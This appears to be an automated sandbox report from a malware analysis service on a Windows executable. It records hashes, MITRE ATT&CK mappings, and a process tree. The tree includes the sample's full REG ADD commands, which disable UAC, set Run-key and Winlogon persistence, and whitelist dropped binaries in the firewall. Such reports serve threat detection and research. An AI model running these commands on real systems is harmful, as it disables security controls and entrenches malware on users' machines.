Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
142s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
25/08/2024, 00:49
Behavioral task
behavioral1
Sample
7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe
Resource
win10v2004-20240802-en
General
-
Target
7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe
-
Size
1.7MB
-
MD5
58a108887f3b8a883ad972f625256851
-
SHA1
e766b827f09a0afa881cbe1b6484710ce33f2bf0
-
SHA256
7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d
-
SHA512
4c08d788a287816e86d838dd8ee3bca4c4310d7ed340b9c8e0209f3cfc11fa0c36325058101265527218c16fbe3a3032392df74e530bd6fd84dc7e759b4d6af3
-
SSDEEP
24576:89SQXgnU56Gt4ULYVI8RGwvrK7/ckFLI78cPR:ssnxUU
Malware Config
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe, C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe -
Modifies firewall policy service 3 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Program Files (x86)\Internet Explorer\Ieupdate.exe = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe:*:Enabled:Windows Messanger" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Users\Admin\AppData\Roaming\vb6.exe = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe:*:Enabled:Windows Messanger" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run Ieupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 4 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3} Ieupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\SOFTWARE\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3} Ieupdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe -
Executes dropped EXE 3 IoCs
pid Process 1104 Ieupdate.exe 1856 Ieupdate.exe 2668 Ieupdate.exe -
Loads dropped DLL 6 IoCs
pid Process 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 1104 Ieupdate.exe 1104 Ieupdate.exe -
resource yara_rule behavioral1/memory/2476-1-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/files/0x000a000000016ddf-81.dat upx behavioral1/memory/2476-95-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/memory/1104-96-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/memory/1856-101-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2668-115-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/1104-116-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/memory/2668-114-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/2668-110-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/1856-109-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-103-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-124-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2668-127-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/1856-128-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-131-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-133-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-135-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-137-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-139-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-141-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-143-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-145-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1856-147-0x0000000000400000-0x000000000045C000-memory.dmp upx -
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\IeUpdate = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\IeUpdate = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Ieupdate.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1104 set thread context of 1856 1104 Ieupdate.exe 44 PID 1104 set thread context of 2668 1104 Ieupdate.exe 45 -
Drops file in Program Files directory 5 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.txt 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe File created C:\Program Files (x86)\Internet Explorer\Ieupdate.exe 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.exe Ieupdate.exe File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.exe Ieupdate.exe File created C:\Program Files (x86)\Internet Explorer\Ieupdate.txt 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 21 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 4 IoCs
pid Process 1768 reg.exe 1220 reg.exe 2972 reg.exe 2992 reg.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeDebugPrivilege 2668 Ieupdate.exe Token: 1 1856 Ieupdate.exe Token: SeCreateTokenPrivilege 1856 Ieupdate.exe Token: SeAssignPrimaryTokenPrivilege 1856 Ieupdate.exe Token: SeLockMemoryPrivilege 1856 Ieupdate.exe Token: SeIncreaseQuotaPrivilege 1856 Ieupdate.exe Token: SeMachineAccountPrivilege 1856 Ieupdate.exe Token: SeTcbPrivilege 1856 Ieupdate.exe Token: SeSecurityPrivilege 1856 Ieupdate.exe Token: SeTakeOwnershipPrivilege 1856 Ieupdate.exe Token: SeLoadDriverPrivilege 1856 Ieupdate.exe Token: SeSystemProfilePrivilege 1856 Ieupdate.exe Token: SeSystemtimePrivilege 1856 Ieupdate.exe Token: SeProfSingleProcessPrivilege 1856 Ieupdate.exe Token: SeIncBasePriorityPrivilege 1856 Ieupdate.exe Token: SeCreatePagefilePrivilege 1856 Ieupdate.exe Token: SeCreatePermanentPrivilege 1856 Ieupdate.exe Token: SeBackupPrivilege 1856 Ieupdate.exe Token: SeRestorePrivilege 1856 Ieupdate.exe Token: SeShutdownPrivilege 1856 Ieupdate.exe Token: SeDebugPrivilege 1856 Ieupdate.exe Token: SeAuditPrivilege 1856 Ieupdate.exe Token: SeSystemEnvironmentPrivilege 1856 Ieupdate.exe Token: SeChangeNotifyPrivilege 1856 Ieupdate.exe Token: SeRemoteShutdownPrivilege 1856 Ieupdate.exe Token: SeUndockPrivilege 1856 Ieupdate.exe Token: SeSyncAgentPrivilege 1856 Ieupdate.exe Token: SeEnableDelegationPrivilege 1856 Ieupdate.exe Token: SeManageVolumePrivilege 1856 Ieupdate.exe Token: SeImpersonatePrivilege 1856 Ieupdate.exe Token: SeCreateGlobalPrivilege 1856 Ieupdate.exe Token: 31 1856 Ieupdate.exe Token: 32 1856 Ieupdate.exe Token: 33 1856 Ieupdate.exe Token: 34 1856 Ieupdate.exe Token: 35 1856 Ieupdate.exe Token: SeDebugPrivilege 1856 Ieupdate.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 1104 Ieupdate.exe 1856 Ieupdate.exe 2668 Ieupdate.exe 1856 Ieupdate.exe 1856 Ieupdate.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2476 wrote to memory of 2528 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 30 PID 2476 wrote to memory of 2528 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 30 PID 2476 wrote to memory of 2528 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 30 PID 2476 wrote to memory of 2528 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 30 PID 2528 wrote to memory of 2788 2528 cmd.exe 32 PID 2528 wrote to memory of 2788 2528 cmd.exe 32 PID 2528 wrote to memory of 2788 2528 cmd.exe 32 PID 2528 wrote to memory of 2788 2528 cmd.exe 32 PID 2528 wrote to memory of 860 2528 cmd.exe 33 PID 2528 wrote to memory of 860 2528 cmd.exe 33 PID 2528 wrote to memory of 860 2528 cmd.exe 33 PID 2528 wrote to memory of 860 2528 cmd.exe 33 PID 2476 wrote to memory of 2728 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 34 PID 2476 wrote to memory of 2728 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 34 PID 2476 wrote to memory of 2728 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 34 PID 2476 wrote to memory of 2728 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 34 PID 2728 wrote to memory of 2752 2728 cmd.exe 36 PID 2728 wrote to memory of 2752 2728 cmd.exe 36 PID 2728 wrote to memory of 2752 2728 cmd.exe 36 PID 2728 wrote to memory of 2752 2728 cmd.exe 36 PID 2476 wrote to memory of 2892 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 37 PID 2476 wrote to memory of 2892 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 37 PID 2476 wrote to memory of 2892 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 37 PID 2476 wrote to memory of 2892 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 37 PID 2892 wrote to memory of 2856 2892 cmd.exe 39 PID 2892 wrote to memory of 2856 2892 cmd.exe 39 PID 2892 wrote to memory of 2856 2892 cmd.exe 39 PID 2892 wrote to memory of 2856 2892 cmd.exe 39 PID 2476 wrote to memory of 2720 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 40 PID 2476 wrote to memory of 2720 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 40 PID 2476 wrote to memory of 2720 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 40 PID 2476 wrote to memory of 2720 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 40 PID 2720 wrote to memory of 1804 2720 cmd.exe 42 PID 2720 wrote to memory of 1804 2720 cmd.exe 42 PID 2720 wrote to memory of 1804 2720 cmd.exe 42 PID 2720 wrote to memory of 1804 2720 cmd.exe 42 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 2476 wrote to memory of 1104 2476 7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe 43 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 1856 1104 Ieupdate.exe 44 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45 PID 1104 wrote to memory of 2668 1104 Ieupdate.exe 45
Processes
-
C:\Users\Admin\AppData\Local\Temp\7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe"C:\Users\Admin\AppData\Local\Temp\7ec06423c9b70938c9da4be3b0cb6aa156bf45213bb95b44f0c352069e72587d.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\SysWOW64\reg.exeREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f3⤵
- System Location Discovery: System Language Discovery
PID:2788
-
-
C:\Windows\SysWOW64\reg.exeREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
- System Location Discovery: System Language Discovery
PID:860
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\APycK.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:2752
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\rlMwW.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:2856
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\MkLwj.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "Explorer.exe, C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
PID:1804
-
-
-
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"3⤵
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1856 -
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:2776 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f4⤵
- System Location Discovery: System Language Discovery
PID:1516 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1768
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:1944 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2992
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f4⤵
- System Location Discovery: System Language Discovery
PID:1580 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2972
-
-
-
-
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2668
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
7Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD589f59824bcc81cdb96c55a70757a441c
SHA191e39aae1cd36c20650f77588c9747d04b124d8a
SHA2566f930a68fdb7f22cbcf7087021b150eb17a51b605e93605cb469f5918a5185b4
SHA5123aa22cee4c10f033eede542c2141d4cb1b0427efbedd82ed8b98c1ea1655b35ed5c8547bb9dee4d001d984d38537da50f78f3135d39877abeaebb532b2d9dcb5
-
Filesize
148B
MD55d73853d695283e13b412c88ec62984c
SHA1672379399a80a746a8f0d8043bbf98956101d0ca
SHA25659884297b763a498c1f55e4ba57f04597ab37677feb9b686839e7553942cf335
SHA5129043d02ec14cc4869cc8c01562838c11448e2bff42af32ec0a60de76fa8915c3a3a50529ce567c6cb93d2691525b38862257993674c263ed25f6625e370cb2d2
-
Filesize
274B
MD59fcec2a4ee61953e0d4867261a39ea32
SHA1d552acf26d9fcc31a9da82ecce503b16a11e9d2a
SHA25624c5da914d1f429c07ef17dfb7d4d0c90eb060e5a9bd009963fba83b1dd6cae3
SHA51257d8a88138645780357a88658f21f833efa0ba657dd1fefa6458ba930731e1949216b518f26ab995241837bc7e6eff90b46e5cb5ec34364d2f89db09779e5564
-
Filesize
181B
MD509d67635a7674b12183c3f0668ce0cd1
SHA1c3fe2225cc5198a1c33df0342a95528c2e657a6d
SHA256972e896e8649a5d2caf286a0d75db99909587b1d2f4683870207b547c3bc02d9
SHA512b37bdad4fb0e9ab947ea5750337de073907d31156d0d00a1a79392741ced2d1aabf1cc2d92581d7f068266f82cd5b2c10fd7e5c573044e6ce77dea6da6dde321
-
Filesize
148B
MD53d470539cbafa762cdb72a4635ad553d
SHA14bda3e7de91052dc7d073d8b278ad09ad0d10fa6
SHA2569f0571e3567d7e1849c7bd5dd7b7a2be942ec44aea6c8bb32d415874b7282691
SHA51242b168fabd5ddd175ccd143d4f9338880aad03eb22d07fb8a2e13f387015b9eb1d23307bff3ae370c95a5644c88c5e9f7c8b12b332b595c79be069ffc92a448e